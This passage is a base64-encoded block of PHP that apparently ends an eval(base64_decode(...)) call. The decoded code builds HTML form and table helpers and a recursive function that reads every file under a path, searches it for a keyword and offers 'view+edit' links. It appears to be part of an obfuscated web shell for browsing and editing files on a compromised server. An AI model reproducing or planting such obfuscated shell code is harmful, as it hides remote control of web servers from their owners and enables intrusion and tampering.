ICA8dHIgY2xhc3M9XCJmaXJzdGFsdFwiPlxuIjsNCgkJCWVjaG8gIgk8dGQgYWxpZ249XCJjZW50ZXJcIj48Yj4iLiR0aXRsZS4iIFs8YSBocmVmPVwiP2Rpcj0iLnVybGVuY29kZSgkZGlyKS4iXCI+t7W72DwvYT5dPC9iPjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIHRkYm9keSgkY29udGVudCwkYWxpZ249J2NlbnRlcicsJGJnY29sb3I9JzInLCRoZWlnaHQ9JycsJGV4dHJhPScnLCRjb2xzcGFuPScnKSB7DQoJCQlpZiAoJGJnY29sb3I9PScyJykgew0KCQkJCSRjc3M9InNlY29uZGFsdCI7DQoJCQl9IGVsc2VpZiAoJGJnY29sb3I9PScxJykgew0KCQkJCSRjc3M9ImZpcnN0YWx0IjsNCgkJCX0gZWxzZSB7DQoJCQkJJGNzcz0kYmdjb2xvcjsNCgkJCX0NCgkJCSRoZWlnaHQgPSBlbXB0eSgkaGVpZ2h0KSA/ICIiIDogIiBoZWlnaHQ9Ii4kaGVpZ2h0Ow0KCQkJJGNvbHNwYW4gPSBlbXB0eSgkY29sc3BhbikgPyAiIiA6ICIgY29sc3Bhbj0iLiRjb2xzcGFuOw0KCQkJZWNobyAiICA8dHIgY2xhc3M9XCIiLiRjc3MuIlwiPlxuIjsNCgkJCWVjaG8gIgk8dGQgYWxpZ249XCIiLiRhbGlnbi4iXCIiLiRoZWlnaHQuIiAiLiRjb2xzcGFuLiIgIi4kZXh0cmEuIj4iLiRjb250ZW50LiI8L3RkPlxuIjsNCgkJCWVjaG8gIiAgPC90cj5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiB0YWJsZWZvb3RlcigpIHsNCgkJCWVjaG8gIjwvdGFibGU+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gZm9ybWhlYWRlcigkYWN0aW9uPScnLCR0aXRsZSwkdGFyZ2V0PScnKSB7DQoJCQlnbG9iYWwgJGRpcjsNCgkJCSR0YXJnZXQgPSBlbXB0eSgkdGFyZ2V0KSA/ICIiIDogIiB0YXJnZXQ9XCIiLiR0YXJnZXQuIlwiIjsNCgkJCWVjaG8gIiA8Zm9ybSBhY3Rpb249XCIkYWN0aW9uXCIgbWV0aG9kPVwiUE9TVFwiIi4kdGFyZ2V0LiI+XG4iOw0KCQkJZWNobyAiICA8dHIgY2xhc3M9XCJmaXJzdGFsdFwiPlxuIjsNCgkJCWVjaG8gIgk8dGQgYWxpZ249XCJjZW50ZXJcIj48Yj4iLiR0aXRsZS4iIFs8YSBocmVmPVwiP2Rpcj0iLnVybGVuY29kZSgkZGlyKS4iXCI+t7W72DwvYT5dPC9iPjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIG1ha2VoaWRkZW4oJG5hbWUsJHZhbHVlPScnKXsNCgkJCWVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIj5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiBtYWtlaW5wdXQoJG5hbWUsJHZhbHVlPScnLCRleHRyYT0nJywkdHlwZT0ndGV4dCcsJHNpemU9JzMwJywkY3NzPSdpbnB1dCcpew0KCQkJJGNzcyA9ICgkY3NzID09ICdpbnB1dCcpID8gIiBjbGFzcz1cImlucHV0XCIiIDogIiI7DQoJCQkkaW5wdXQgPSAiPGlucHV0IG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgdHlwZT1cIiR0eXBlXCIgIi4kY3NzLiIgc2l6ZT1cIiRzaXplXCIgJGV4dHJhPlxuIjsNCgkJCXJldHVybiAkaW5wdXQ7DQoJCX0NCg0KCQlmdW5jdGlvbiBtYWtldGV4dGFyZWEoJG5hbWUsJGNvbnRlbnQ9JycsJGNvbHM9JzEwMCcsJHJvd3M9JzIwJywkZXh0cmE9Jycpew0KCQkJJHRleHRhcmVhID0gIjx0ZXh0YXJlYSBuYW1lPVwiIi4kbmFtZS4iXCIgY29scz1cIiIuJGNvbHMuIlwiIHJvd3M9XCIiLiRyb3dzLiJcIiAiLiRleHRyYS4iPiIuJGNvbnRlbnQuIjwvdGV4dGFyZWE+XG4iOw0KCQkJcmV0dXJuICR0ZXh0YXJlYTsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGZvcm1mb290ZXIoJG92ZXI9JycsJGhlaWdodD0nJyl7DQoJCQkkaGVpZ2h0ID0gZW1wdHkoJGhlaWdodCkgPyAiIiA6ICIgaGVpZ2h0PVwiIi4kaGVpZ2h0LiJcIiI7DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cInNlY29uZGFsdFwiPlxuIjsNCgkJCWVjaG8gIgk8dGQgYWxpZ249XCJjZW50ZXJcIiIuJGhlaWdodC4iPjxpbnB1dCBjbGFzcz1cImlucHV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiyLe2qFwiPjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJCWVjaG8gIiA8L2Zvcm0+XG4iOw0KCQkJZWNobyAkZW5kID0gZW1wdHkoJG92ZXIpID8gIiIgOiAiPC90YWJsZT5cbiI7DQoJCX0NCg0KCQlmdW5jdGlvbiBtYWtlc2VsZWN0KCRhcmcgPSBhcnJheSgpKXsNCgkJCWlmICgkYXJnW211bHRpcGxlXT09MSkgew0KCQkJCSRtdWx0aXBsZSA9ICIgbXVsdGlwbGUiOw0KCQkJCWlmICgkYXJnW3NpemVdPjApIHsNCgkJCQkJJHNpemUgPSAic2l6ZT0kYXJnW3NpemVdIjsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoJGFyZ1tjc3NdPT0wKSB7DQoJCQkJJGNzcyA9ICJjbGFzcz1cImlucHV0XCIiOw0KCQkJfQ0KCQkJJHNlbGVjdCA9ICI8c2VsZWN0ICRjc3MgbmFtZT1cIiRhcmdbbmFtZV1cIiRtdWx0aXBsZSAkc2l6ZT5cbiI7DQoJCQkJaWYgKGlzX2FycmF5KCRhcmdbb3B0aW9uXSkpIHsNCgkJCQkJZm9yZWFjaCAoJGFyZ1tvcHRpb25dIEFTICRrZXk9PiR2YWx1ZSkgew0KCQkJCQkJaWYgKCFpc19hcnJheSgkYXJnW3NlbGVjdGVkXSkpIHsNCgkJCQkJCQlpZiAoJGFyZ1tzZWxlY3RlZF09PSRrZXkpIHsNCgkJCQkJCQkJJHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj5cbiI7DQoJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJJHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFsdWU8L29wdGlvbj5cbiI7DQoJCQkJCQkJfQ0KDQoJCQkJCQl9IGVsc2VpZiAoaXNfYXJyYXkoJGFyZ1tzZWxlY3RlZF0pKSB7DQoJCQkJCQkJaWYgKCRhcmdbc2VsZWN0ZWRdWyRrZXldPT0xKSB7DQoJCQkJCQkJCSRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+XG4iOw0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCSRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCIka2V5XCI+JHZhbHVlPC9vcHRpb24+XG4iOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCSRzZWxlY3QgLj0gIjwvc2VsZWN0PlxuIjsNCgkJCXJldHVybiAkc2VsZWN0Ow0KCQl9DQoJfQ0KCQ0KCWZ1bmN0aW9uIGZpbmQoJHBhdGgpIC8vsunV0rnYvPy0yiANCnsgDQoJZ2xvYmFsICRvbGRrZXksJHR5cGUsJHR5cGUyLCRlbmRsaW5lLCRiZWxpbmU7IA0KCWlmKGlzX2RpcigiJHBhdGgiKSl7IA0KCSR0ZW1wZGlyPW9wZW5kaXIoIiRwYXRoIik7DQoJd2hpbGUoJGY9cmVhZGRpcigkdGVtcGRpcikpeyBpZigkZj09Ii4ifHwkZj09Ii4uIiljb250aW51ZTsgIGZpbmQoIiRwYXRoLyRmIik7fQ0KCWNsb3NlZGlyKCR0ZW1wZGlyKTsNCgl9ZWxzZXsgDQoJaWYoZmlsZXNpemUoIiRwYXRoIikpeyANCgkkZnA9Zm9wZW4oIiRwYXRoIiwiciIpOyANCgkkbXNnPWZyZWFkKCRmcCwgZmlsZXNpemUoIiRwYXRoIikpOw0KCWZjbG9zZSgkZnApOyANCmlmKHN0cnBvcygkbXNnLCAkb2xka2V5KSAhPT0gZmFsc2UpIHsNCgkkZGlyID0gZGlybmFtZSgkcGF0aCk7DQoJJGZpbGUgPSBiYXNlbmFtZSgkcGF0aCk7DQppZigkdHlwZT09Imxpc3QiKXsNCgkkbXltc2cgPSBleHBsb2RlKCJcbiIsJG1zZyk7DQoJJGxvbmcgPSBjb3VudCgkbXltc2cpOw0KCSR0bXAgPSBleHBsb2RlKCRvbGRrZXksJG1zZyk7DQoJJHRtcCA9IGV4cGxvZGUoIlxuIiwkdG1wWzBdKTsNCgkkZmlyc3QgPSBjb3VudCgkdG1wKTsNCgkkZW5kID0gIlsiLiRmaXJzdC4iLyIuJGxvbmcuIl0iOw0KfQ0KaWYoJHR5cGUyPT0iZ2V0cGF0aCIpew0KCSRnZXQgPSBleHBsb2RlKCRvbGRrZXksJG1zZyk7DQoJJGdldCA9IHN0cmxlbigkZ2V0WzBdKTsNCglpZihpc3NldCgkYmVsaW5lKSl7DQoJJGdldCA9ICRnZXQtJGJlbGluZTsNCgl9DQoJJGdldHBhdGggPSBodG1sc3BlY2lhbGNoYXJzKHN1YnN0cigkbXNnLCAkZ2V0LCAkZW5kbGluZSkpOyANCgkkZ2V0cGF0aCA9ICJ0aXRsZSA9IFwiIi4kZ2V0cGF0aC4iXCIiOw0KfQ0KZWNobyAiPHNwYW4gY2xhc3M9XCJyZWRmb250XCIgJGdldHBhdGg+1dK1vTokZGlyLyRmaWxlPC9zcGFuPiB8PGEgaHJlZj1cIj9hY3Rpb249ZWRpdGZpbGUmZGlyPSRkaXImZWRpdGZpbGU9JGZpbGVcIiB0YXJnZXQ9XCJfYmxhbmtcIj52aWV3K2VkaXQ8L2E+IHwgJGVuZCA8YnI+IjsNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgDQp9'));?>